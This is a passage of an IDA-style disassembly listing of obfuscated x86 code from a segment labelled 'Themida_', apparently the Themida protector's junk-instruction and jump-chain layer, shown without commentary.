; ---------------------------------------------------------------------------


loc_56DCF6:				; CODE XREF: Themida_:0056F059j
		pop	eax
		inc	esi
		shr	esi, 8
		push	ecx
		mov	ecx, 58161369h
		sub	ecx, 41796198h
		add	ecx, 41D962A4h
		xor	esi, ecx
		pop	ecx
		push	edi
		push	ebp
		push	7CF4169Eh
		pop	ebp
		push	ecx
		mov	ecx, 5D080C52h
		shr	ecx, 4
		push	0
		sub	[esp], ecx
		pop	ecx
		add	ecx, 776C9901h
		add	ebp, ecx
		pop	ecx
		neg	ebp
		add	ebp, 22F7A90h
		mov	edi, ebp
		pop	ebp
		xor	esi, edi
		pop	edi
		sub	esi, 0FF39C68Ah
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, edi
		pop	edi
		or	eax, eax
		jnz	loc_5604AD
		push	esi
		push	esp
		pop	esi
		jmp	loc_5697E5
; ---------------------------------------------------------------------------


loc_56DD62:				; CODE XREF: Themida_:0055FCBEj
		pop	edi
		jmp	loc_567F42
; ---------------------------------------------------------------------------


loc_56DD68:				; CODE XREF: Themida_:0056806Cj
		xor	edi, [esp]
		jmp	loc_5684AB
; ---------------------------------------------------------------------------


loc_56DD70:				; CODE XREF: Themida_:00562917j
		pop	ebp
		jmp	loc_5697B7
; ---------------------------------------------------------------------------


loc_56DD76:				; CODE XREF: Themida_:0055F7DBj
		xor	ebx, edx
		pop	edx
		shl	ebx, 6
		xor	ebx, 484F1947h
		add	ebx, 5336361Ch
		add	ebx, 0C0D584D6h
		jmp	loc_5651D2
; ---------------------------------------------------------------------------


loc_56DD93:				; CODE XREF: Themida_:0056CED8j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_574283
; ---------------------------------------------------------------------------


loc_56DDA7:				; CODE XREF: Themida_:0056EC40j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56D709
; ---------------------------------------------------------------------------


loc_56DDB5:				; CODE XREF: Themida_:005618E1j
		mov	eax, 3B38636Fh
		mov	ebp, eax
		pop	eax
		push	edx
		push	ebp
		mov	ebp, 257538A7h
		mov	edx, 0DEFD802h
		add	edx, ebp
		pop	ebp
		shl	edx, 8
		or	edx, 50DB7CCDh
		dec	edx
		jmp	loc_56EA9F
; ---------------------------------------------------------------------------


loc_56DDDB:				; CODE XREF: Themida_:005728FCj
		mov	esi, 4
		add	edx, 45A57432h
		jmp	loc_56A15C
; ---------------------------------------------------------------------------


loc_56DDEB:				; CODE XREF: Themida_:00571BFFj
		sub	esi, 68B6464Dh
		sub	esi, 9CC6DB9Bh
		add	ebx, esi
		pop	esi
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 61880D78h
		mov	eax, 9B1C8E03h
		jmp	loc_570E14
; ---------------------------------------------------------------------------


loc_56DE15:				; CODE XREF: Themida_:005672E9j
		push	ecx
		mov	cl, 5Bh
		not	cl
		push	eax
		mov	al, 0D1h
		jmp	loc_56FDE3
; ---------------------------------------------------------------------------


loc_56DE22:				; CODE XREF: Themida_:0056DA7Bj
		and	ecx, ebx
		jmp	loc_56D000
; ---------------------------------------------------------------------------


loc_56DE29:				; CODE XREF: Themida_:00568FDEj
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_5741AA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_56BB01
; ---------------------------------------------------------------------------


loc_56DE3C:				; CODE XREF: Themida_:005714B0j
		push	dword ptr [esp]
		jmp	loc_568B46
; ---------------------------------------------------------------------------


loc_56DE44:				; CODE XREF: Themida_:00574055j
		xor	ecx, 0E79D8100h
		jmp	loc_56FFAD
; ---------------------------------------------------------------------------


loc_56DE4F:				; CODE XREF: Themida_:005650EFj
		pop	edx
		jmp	loc_5741BF
; ---------------------------------------------------------------------------


loc_56DE55:				; CODE XREF: Themida_:0056E21Fj
		push	ebx
		mov	ebx, 341DCCD6h
		xor	edi, ebx
		jmp	loc_562238
; ---------------------------------------------------------------------------


loc_56DE62:				; CODE XREF: Themida_:00562D62j
		shl	ebx, 4
		jmp	loc_56C37B
; ---------------------------------------------------------------------------


loc_56DE6A:				; CODE XREF: Themida_:0057274Bj
		pop	ebx
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56DE87:				; CODE XREF: Themida_:00570176j
		mov	edx, 1A9F665Fh
		add	edi, 1B0B1047h
		sub	edi, 2E51C4Ah
		add	edi, edx
		add	edi, 2E51C4Ah
		sub	edi, 1B0B1047h
		pop	edx
		push	2710h
		jmp	loc_562379
; ---------------------------------------------------------------------------


loc_56DEB1:				; CODE XREF: Themida_:00567E9Ej
		add	ebp, 4
		jmp	loc_56BC5C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3B54h
		mov	[esp], eax
		mov	eax, esp
		push	esi
		push	eax
		jmp	loc_572F17
; ---------------------------------------------------------------------------


loc_56DECE:				; CODE XREF: Themida_:0056D527j
		pop	dword ptr [edi+40h]
		xor	dword ptr [edi+40h], 35F8194Ch
		pop	esi
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	179h
		mov	[esp], ebp
		push	ecx
		jmp	loc_569DB5
; ---------------------------------------------------------------------------


loc_56DEED:				; CODE XREF: Themida_:0056B624j
		xor	ecx, 548F4130h
		push	esi
		jmp	loc_56DA1B
; ---------------------------------------------------------------------------


loc_56DEF9:				; CODE XREF: Themida_:0056E93Dj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57277B
; ---------------------------------------------------------------------------


loc_56DF07:				; CODE XREF: Themida_:00564D79j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		push	749E2E43h
		pop	esi
		add	esi, 0FFFFFFFFh
		inc	esi
		dec	esi
		push	ebx
		jmp	loc_560D1A
; ---------------------------------------------------------------------------


loc_56DF21:				; CODE XREF: Themida_:0056AC54j
		add	ebx, esi
		pop	esi
		pop	edi
		push	edx
		mov	edx, 29AA62A4h
		add	ebx, edx
		pop	edx
		push	edi
		push	ebp
		mov	ebp, offset loc_555070
		jmp	loc_57129E
; ---------------------------------------------------------------------------


loc_56DF3A:				; CODE XREF: Themida_:00563309j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 0FDD260Ch
		shl	esi, 3
		shl	esi, 1
		jmp	loc_56A825
; ---------------------------------------------------------------------------


loc_56DF52:				; CODE XREF: Themida_:00574297j
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_563109
; ---------------------------------------------------------------------------


loc_56DF6E:				; CODE XREF: Themida_:00566869j
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56EC99
; ---------------------------------------------------------------------------


loc_56DF82:				; CODE XREF: Themida_:00565E8Fj
		add	edi, 4
		jmp	loc_562E0B
; ---------------------------------------------------------------------------


loc_56DF8D:				; CODE XREF: Themida_:005712BBj
		add	edx, ebx
		jmp	loc_564FAB
; ---------------------------------------------------------------------------


loc_56DF94:				; CODE XREF: Themida_:005734C4j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		dec	word ptr [esp]
		pushf
		jmp	loc_573667
; ---------------------------------------------------------------------------


loc_56DFA7:				; CODE XREF: Themida_:0055F945j
		push	38C4h
		jmp	loc_5698B9
; ---------------------------------------------------------------------------


loc_56DFB1:				; CODE XREF: Themida_:00570454j
		xor	edx, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56DFC1:				; CODE XREF: Themida_:0056D504j
		not	edx
		dec	edx
		add	edx, 0C97DD9E3h
		sub	esi, edx
		pop	edx
		jmp	loc_56D05D
; ---------------------------------------------------------------------------


loc_56DFD2:				; CODE XREF: Themida_:005608E8j
		mov	edx, ebx
		pop	ebx
		add	[esp+4], edx
		pop	edx
		jmp	loc_5642B4
; ---------------------------------------------------------------------------


loc_56DFDF:				; CODE XREF: Themida_:0056E5E6j
		mov	cl, 69h
		add	cl, 6Dh
		add	cl, 0CCh
		shl	cl, 4
		shl	cl, 4
		push	ebx
		mov	bl, 84h
		neg	bl
		inc	bl
		add	bl, 15h
		sub	cl, bl
		pop	ebx
		xor	al, cl
		jmp	loc_560A17
; ---------------------------------------------------------------------------


loc_56E001:				; CODE XREF: Themida_:0056AB78j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_572E87
; ---------------------------------------------------------------------------


loc_56E02B:				; CODE XREF: Themida_:0056026Aj
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_569E93
; ---------------------------------------------------------------------------


loc_56E038:				; CODE XREF: Themida_:0056C0BAj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_564386
; ---------------------------------------------------------------------------


loc_56E054:				; CODE XREF: Themida_:0056BB79j
		mov	[esp], ebx
		mov	ebx, 4C23399h
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56052D
; ---------------------------------------------------------------------------


loc_56E06C:				; CODE XREF: Themida_:0056A2FEj
		mov	[esp], edi
		push	0A2879FCh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56A4FA
; ---------------------------------------------------------------------------


loc_56E082:				; CODE XREF: Themida_:00568C7Aj
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 2F0965D3h
		jmp	loc_56E554
; ---------------------------------------------------------------------------


loc_56E09E:				; CODE XREF: Themida_:0056E191j
		push	45D7h
		push	esp
		jmp	loc_5600FF
; ---------------------------------------------------------------------------


loc_56E0A9:				; CODE XREF: Themida_:0057461Cj
		push	edx
		push	eax
		mov	eax, 56844BCCh
		mov	edx, eax
		jmp	loc_566736
; ---------------------------------------------------------------------------


loc_56E0B7:				; CODE XREF: Themida_:0056D400j
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 21272687h
		mov	esi, 0E39F24B3h
		add	esi, ebx
		pop	ebx
		shr	esi, 7
		push	edx
		jmp	loc_564132
; ---------------------------------------------------------------------------


loc_56E0DE:				; CODE XREF: Themida_:005644A6j
		sub	ecx, 102E47A0h
		sub	esi, ecx
		pop	ecx
		xor	eax, esi
		pop	esi
		push	edx
		push	2D6E202Eh
		push	dword ptr [esp]
		jmp	loc_567F88
; ---------------------------------------------------------------------------


loc_56E0F8:				; CODE XREF: Themida_:00561B80j
		sub	edi, 28A672F0h
		jmp	loc_562674
; ---------------------------------------------------------------------------


loc_56E103:				; CODE XREF: Themida_:0055FFD6j
		add	ebx, 2EF1CF8h
		jmp	loc_572F7B
; ---------------------------------------------------------------------------


loc_56E10E:				; CODE XREF: Themida_:0056A726j
		push	ecx
		mov	ecx, 2E5B793Eh
		jmp	loc_571A34
; ---------------------------------------------------------------------------


loc_56E119:				; CODE XREF: Themida_:005669FBj
		mov	bl, 52h
		add	al, bl
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		sub	al, bl
		push	edx
		jmp	loc_573931
; ---------------------------------------------------------------------------


loc_56E12F:				; CODE XREF: Themida_:0056CB9Cj
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_560CD2
; ---------------------------------------------------------------------------


loc_56E13D:				; CODE XREF: Themida_:0056BC1Bj
		pop	edx
		push	ebx
		push	31140E24h
		pop	ebx
		or	edx, ebx
		pop	ebx
		add	edx, 1
		push	eax
		sub	esp, 4
		jmp	loc_56A67F
; ---------------------------------------------------------------------------


loc_56E154:				; CODE XREF: Themida_:00560EF1j
		mov	dl, bl
		mov	al, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_566CBC
; ---------------------------------------------------------------------------


loc_56E165:				; CODE XREF: Themida_:00563692j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		jmp	loc_561AC6
; ---------------------------------------------------------------------------


loc_56E173:				; CODE XREF: Themida_:005695EFj
		mov	eax, 0
		push	ebx
		mov	ebx, 62073238h
		shl	ebx, 7
		jmp	loc_56A520
; ---------------------------------------------------------------------------


loc_56E186:				; CODE XREF: Themida_:0056E3DFj
		pop	ebp
		jmp	loc_55F94A
; ---------------------------------------------------------------------------
		push	10B5h
		jmp	loc_56E09E
; ---------------------------------------------------------------------------


loc_56E196:				; CODE XREF: Themida_:00566C68j
		mov	ebx, 1EE4527h
		xor	ebx, 10FA4013h
		not	ebx
		not	ebx
		push	edx
		mov	edx, 7D30334Eh
		sub	ebx, edx
		jmp	loc_562D41
; ---------------------------------------------------------------------------


loc_56E1B2:				; CODE XREF: Themida_:0056A157j
		sub	esi, 0FFFFFFFFh
		inc	esi
		xor	esi, 6B6D38C5h
		xor	esi, 0A1F2E60Dh
		jmp	loc_569DC4
; ---------------------------------------------------------------------------


loc_56E1C7:				; CODE XREF: Themida_:005729E0j
		push	ecx
		push	edx
		mov	edx, 4F1E1069h
		sub	esp, 4
		mov	[esp], eax
		push	edx
		pop	eax
		mov	ecx, eax
		pop	eax
		pop	edx
		jmp	loc_56A1C3
; ---------------------------------------------------------------------------


loc_56E1DF:				; CODE XREF: Themida_:00567905j
		pop	edx
		push	ecx
		mov	cl, 85h
		jmp	loc_56BE37
; ---------------------------------------------------------------------------


loc_56E1E8:				; CODE XREF: Themida_:00564080j
		or	esi, 1A810383h
		sub	esi, 2E347E83h
		add	esi, 0FFFFFFFFh
		or	esi, 398133A0h
		add	esi, 0D27BC377h
		jmp	loc_570DA9
; ---------------------------------------------------------------------------


loc_56E208:				; CODE XREF: Themida_:0056AE5Aj
		pop	edi
		push	edx
		jmp	loc_56BF3F
; ---------------------------------------------------------------------------


loc_56E20F:				; CODE XREF: Themida_:0056ACDFj
		mov	[esp], ecx
		push	edi
		push	3ACE78AFh
		pop	edi
		add	edi, 0B0C415Dh
		jmp	loc_56DE55
; ---------------------------------------------------------------------------


loc_56E224:				; CODE XREF: Themida_:0056B497j
		push	esi
		not	dword ptr [esp]
		pop	esi
		xchg	esi, [esp]
		pop	edx
		jmp	loc_5717B5
; ---------------------------------------------------------------------------


loc_56E232:				; CODE XREF: Themida_:00564236j
		add	ecx, ebx
		jmp	loc_571486
; ---------------------------------------------------------------------------


loc_56E239:				; CODE XREF: Themida_:005604C2j
		inc	cl
		push	ecx
		jmp	loc_56564A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	esi
		mov	esi, 29E965D6h
		xor	[esp+4], esi
		pop	esi
		pop	ecx
		push	ebp
		jmp	loc_571911
; ---------------------------------------------------------------------------


loc_56E256:				; CODE XREF: Themida_:005728D1j
		sub	ah, bh
		add	ah, 8Ah
		pop	bx
		pop	ecx
		add	ah, 26h
		push	cx
		push	eax
		jmp	loc_5648E7
; ---------------------------------------------------------------------------


loc_56E269:				; CODE XREF: Themida_:00563AD3j
		pop	ecx
		jmp	loc_571CC1
; ---------------------------------------------------------------------------


loc_56E26F:				; CODE XREF: Themida_:0056A2D9j
		mov	cl, dh
		jmp	loc_56EB6B
; ---------------------------------------------------------------------------


loc_56E276:				; CODE XREF: Themida_:00560D59j
		add	cx, 4AE0h
		shr	cx, 5
		jmp	loc_563472
; ---------------------------------------------------------------------------


loc_56E284:				; CODE XREF: Themida_:0055FA85j
		push	59ECh
		mov	[esp], esi
		mov	esi, 46DE43D5h
		add	esi, 6B9628FAh
		add	esi, 32BC7211h
		neg	esi
		add	esi, 35BF4A9Eh
		add	ecx, 2E476246h
		add	ecx, esi
		push	eax
		mov	eax, 6B1C28BAh
		xor	eax, 35BB2C29h
		shl	eax, 4
		add	eax, 6C5B0E76h
		sub	eax, 27485D57h
		dec	eax
		add	eax, 0FEC467F8h
		sub	ecx, eax
		pop	eax
		pop	esi
		add	ecx, 38AF1953h
		add	ebx, 75EA40B4h
		add	ebx, ecx
		sub	ebx, 75EA40B4h
		pop	ecx
		sub	esp, 4
		jmp	loc_5619E6
; ---------------------------------------------------------------------------


loc_56E2EC:				; CODE XREF: Themida_:0056CBB1j
		push	2F8Ah
		jmp	loc_573867
; ---------------------------------------------------------------------------


loc_56E2F6:				; CODE XREF: Themida_:0056A317j
		push	ecx
		mov	ecx, edi
		mov	ebp, ecx
		jmp	loc_565285
; ---------------------------------------------------------------------------


loc_56E300:				; CODE XREF: Themida_:00564649j
		mov	ecx, 154116CCh
		jmp	loc_561635
; ---------------------------------------------------------------------------


loc_56E30A:				; CODE XREF: Themida_:00566B2Aj
		mov	ebp, 21694C22h
		add	ebp, 1
		or	ebp, 0ED33F72h
		shr	ebp, 7
		add	ebp, 4B984D85h
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		add	ecx, 0FFFFFFFFh
		xchg	ecx, ebp
		sub	esp, 4
		jmp	loc_56D43D
; ---------------------------------------------------------------------------


loc_56E33A:				; CODE XREF: Themida_:0055FAA2j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56E33F:				; CODE XREF: Themida_:00567AA7j
		inc	edx
		jmp	loc_56B94D
; ---------------------------------------------------------------------------


loc_56E345:				; CODE XREF: Themida_:005610EDj
		add	edi, ebx
		add	edi, 535E7B3Eh
		jmp	loc_568DF7
; ---------------------------------------------------------------------------


loc_56E352:				; CODE XREF: Themida_:005660D3j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55FC13
; ---------------------------------------------------------------------------


loc_56E35B:				; CODE XREF: Themida_:0056CA84j
		add	esi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 2C86C7Bh
		add	ebx, 79625E4Fh
		jmp	loc_5737A3
; ---------------------------------------------------------------------------


loc_56E36F:				; CODE XREF: Themida_:0056FEB4j
		sub	esp, 4
		jmp	loc_5643EB
; ---------------------------------------------------------------------------


loc_56E37A:				; CODE XREF: Themida_:005677AFj
		shl	edi, 1
		jmp	loc_56E430
; ---------------------------------------------------------------------------


loc_56E381:				; CODE XREF: Themida_:00562BACj
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, cl
		mov	dl, bl
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_562F03
; ---------------------------------------------------------------------------


loc_56E397:				; CODE XREF: Themida_:0056EFA5j
		mov	eax, 45615196h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, 65C460F2h
		add	eax, 55552F0Eh
		jmp	loc_55FB4D
; ---------------------------------------------------------------------------


loc_56E3B6:				; CODE XREF: Themida_:00565721j
		pop	ebx
		sub	eax, edx
		push	ebp
		push	ebx
		push	ebp
		mov	ebp, 1F1C25FEh
		mov	ebx, ebp
		pop	ebp
		not	ebx
		push	ebp
		mov	ebp, 0BEE467Dh
		shl	ebp, 7
		not	ebp
		add	ebp, 65AB2CEDh
		xor	ebp, 1F492218h
		sub	ebx, ebp
		jmp	loc_56E186
; ---------------------------------------------------------------------------


loc_56E3E4:				; CODE XREF: Themida_:0057448Cj
		push	esp
		jmp	loc_56C717
; ---------------------------------------------------------------------------


loc_56E3EA:				; CODE XREF: Themida_:0056CD1Ej
		inc	ebx
		dec	ebx
		push	edi
		jmp	loc_561922
; ---------------------------------------------------------------------------


loc_56E3F2:				; CODE XREF: Themida_:0056F7B5j
		mov	cx, [esp]
		push	7EA5h
		jmp	loc_55FD30
; ---------------------------------------------------------------------------


loc_56E400:				; CODE XREF: Themida_:005630EFj
		mov	[esp], edi
		mov	edi, 760DC704h
		xor	ecx, edi
		mov	edi, [esp]
		jmp	loc_56B6F1
; ---------------------------------------------------------------------------


loc_56E412:				; CODE XREF: Themida_:0056148Dj
		pop	eax
		shr	ebx, 1
		xor	ebx, 6EC338A7h
		push	50E2h
		mov	[esp], ebx
		jmp	loc_5610E5
; ---------------------------------------------------------------------------


loc_56E428:				; CODE XREF: Themida_:005631E9j
		push	dword ptr [esp]
		jmp	loc_568841
; ---------------------------------------------------------------------------


loc_56E430:				; CODE XREF: Themida_:0056E37Cj
		shr	edi, 1
		push	ebp
		mov	ebp, 386479Eh
		jmp	loc_56B504
; ---------------------------------------------------------------------------


loc_56E43D:				; CODE XREF: Themida_:0055FF69j
		shl	edi, 5
		sub	edi, 0E68FB05Ch
		sub	ebx, edi
		pop	edi
		push	6361h
		mov	[esp], ecx
		mov	ecx, 25135F84h
		shr	ecx, 8
		jmp	loc_571A0A
; ---------------------------------------------------------------------------


loc_56E45E:				; CODE XREF: Themida_:0056929Cj
		and	ebp, 1C8B36C9h
		dec	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	edx
		jmp	loc_563E10
; ---------------------------------------------------------------------------


loc_56E470:				; CODE XREF: Themida_:00571633j
		mov	ebp, esp
		jmp	loc_573881
; ---------------------------------------------------------------------------


loc_56E477:				; CODE XREF: Themida_:0055FC94j
		pop	ebx
		jmp	loc_56A977
; ---------------------------------------------------------------------------


loc_56E47D:				; CODE XREF: Themida_:0056A96Aj
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 571844B5h
		pop	ebp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_563C75
; ---------------------------------------------------------------------------


loc_56E49F:				; CODE XREF: Themida_:00572661j
		mov	dh, 6Ch
		add	ch, dh
		jmp	loc_56030C
; ---------------------------------------------------------------------------


loc_56E4A8:				; CODE XREF: Themida_:00564E76j
		add	edx, 47473100h
		add	edx, eax
		sub	edx, 47473100h
		pop	eax
		push	eax
		mov	eax, 6D6241B3h
		shl	eax, 1
		not	eax
		jmp	loc_56A4B3
; ---------------------------------------------------------------------------


loc_56E4C6:				; CODE XREF: Themida_:00562B73j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_564FC6
; ---------------------------------------------------------------------------


loc_56E4D4:				; CODE XREF: Themida_:0056A83Bj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_570416
; ---------------------------------------------------------------------------


loc_56E4E8:				; CODE XREF: Themida_:0056B865j
		push	bx
		mov	bx, 7AE6h
		add	dx, bx
		pop	bx
		mov	si, [esp]
		add	esp, 2
		push	135Dh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	ax, 3148h
		mov	cx, ax
		pop	eax
		jmp	loc_560D4A
; ---------------------------------------------------------------------------


loc_56E518:				; CODE XREF: Themida_:0056AA02j
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56E52F:				; CODE XREF: Themida_:005617B1j
		pop	edx
		jmp	loc_56DB29
; ---------------------------------------------------------------------------


loc_56E535:				; CODE XREF: Themida_:00573CACj
		mov	esp, [esp]
		push	ebx
		mov	bl, 0D2h
		add	bl, 0D7h
		neg	bl
		shr	bl, 7
		sub	bl, 62h
		jmp	loc_5607B5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56CE9D
; ---------------------------------------------------------------------------


loc_56E554:				; CODE XREF: Themida_:0056E099j
		push	ebp
		mov	ebp, 760A0B5Ch
		xor	ebx, ebp
		pop	ebp
		jmp	loc_56A303
; ---------------------------------------------------------------------------


loc_56E562:				; CODE XREF: Themida_:005634E3j
		push	edx
		jmp	loc_561B12
; ---------------------------------------------------------------------------


loc_56E568:				; CODE XREF: Themida_:00565FF3j
		add	dword ptr [esp], 7E6206EFh
		pop	ecx
		jmp	loc_56A0AF
; ---------------------------------------------------------------------------


loc_56E575:				; CODE XREF: Themida_:0055F5E0j
		shl	ecx, 5
		jmp	loc_56EC7D
; ---------------------------------------------------------------------------


loc_56E57D:				; CODE XREF: Themida_:00570A66j
		sub	dh, 0A7h
		mov	bh, dh
		pop	edx
		sub	al, 96h
		add	al, bh
		add	al, 96h
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_56F5CB
; ---------------------------------------------------------------------------


loc_56E59A:				; CODE XREF: Themida_:0056CA8Aj
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_571721
; ---------------------------------------------------------------------------


loc_56E5A6:				; CODE XREF: Themida_:005741CDj
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_560D5E
; ---------------------------------------------------------------------------


loc_56E5B3:				; CODE XREF: Themida_:0056A4F5j
		sub	al, 0CAh
		add	al, dl
		add	al, 0CAh
		sub	al, 8Eh
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		pop	eax
		jmp	loc_563480
; ---------------------------------------------------------------------------


loc_56E5C9:				; CODE XREF: Themida_:00573023j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5684FA
; ---------------------------------------------------------------------------


loc_56E5D9:				; CODE XREF: Themida_:0056C02Dj
		inc	al
		xor	al, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56DFDF
; ---------------------------------------------------------------------------


loc_56E5EB:				; CODE XREF: Themida_:00560367j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	3656h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_567267
; ---------------------------------------------------------------------------


loc_56E610:				; CODE XREF: Themida_:0057257Fj
		and	eax, esi
		pop	esi
		xor	eax, 74AA4195h
		jmp	loc_564A57
; ---------------------------------------------------------------------------


loc_56E61D:				; CODE XREF: Themida_:00569BFBj
		pop	edx
		or	edx, 18C46F1Bh
		jmp	loc_56C227
; ---------------------------------------------------------------------------


loc_56E629:				; CODE XREF: Themida_:00569E8Ej
		sub	ecx, edi
		pop	edi
		jmp	loc_572018
; ---------------------------------------------------------------------------


loc_56E631:				; CODE XREF: Themida_:0056875Fj
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_571232
; ---------------------------------------------------------------------------


loc_56E63F:				; CODE XREF: Themida_:0056FD5Cj
		mov	eax, 26DA4C67h
		or	eax, 6FB23DD5h
		jmp	loc_5747A3
; ---------------------------------------------------------------------------


loc_56E64E:				; CODE XREF: Themida_:0056D18Ej
		pop	esp
		jmp	loc_562012
; ---------------------------------------------------------------------------


loc_56E654:				; CODE XREF: Themida_:0056020Aj
		mov	ax, [esp]
		push	220Fh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	18C6h
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55FC82
; ---------------------------------------------------------------------------


loc_56E67F:				; CODE XREF: Themida_:0056F545j
		sub	ebp, ecx
		pop	ecx
		xor	esi, ebp
		jmp	loc_56BCE4
; ---------------------------------------------------------------------------


loc_56E689:				; CODE XREF: Themida_:005618F7j
		push	dword ptr [esp]
		pop	ebx
		push	430Ah
		mov	[esp], edi
		push	esp
		pop	edi
		push	1FC1h
		mov	[esp], ecx
		jmp	loc_56D02F
; ---------------------------------------------------------------------------


loc_56E6A4:				; CODE XREF: Themida_:0056AE64j
		mov	[esp], eax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56E6AC:				; CODE XREF: Themida_:00573DBBj
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1E496229h
		jmp	loc_56ED63
; ---------------------------------------------------------------------------


loc_56E6BF:				; CODE XREF: Themida_:0056BC30j
		pop	ebp
		add	ebp, 0EEB1FC1Bh
		mov	eax, ebp
		pop	ebp
		inc	eax
		jmp	loc_56CD07
; ---------------------------------------------------------------------------


loc_56E6CF:				; CODE XREF: Themida_:00568B29j
		mov	eax, 1DA465F9h
		inc	eax
		push	ebp
		mov	ebp, 61A356BDh
		add	ebp, 6B8D1E83h
		neg	ebp
		shr	ebp, 3
		add	ebp, 1
		jmp	loc_572609
; ---------------------------------------------------------------------------


loc_56E6F1:				; CODE XREF: Themida_:0056A7A0j
		pop	ebx
		sub	dword ptr [esp+4], 57D62D00h
		add	[esp+4], edi
		add	dword ptr [esp+4], 57D62D00h
		add	dword ptr [esp+4], 5A3136D9h
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_562FD8
; ---------------------------------------------------------------------------


loc_56E72B:				; CODE XREF: Themida_:0056705Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5615E6
; ---------------------------------------------------------------------------


loc_56E736:				; CODE XREF: Themida_:005669D5j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	edx, 39812554h
		add	edx, eax
		add	edx, 39812554h
		sub	edx, 63040433h
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56E759:				; CODE XREF: Themida_:005658BAj
		sub	edx, ebx
		add	edx, 16C0346Dh
		jmp	loc_561BE6
; ---------------------------------------------------------------------------


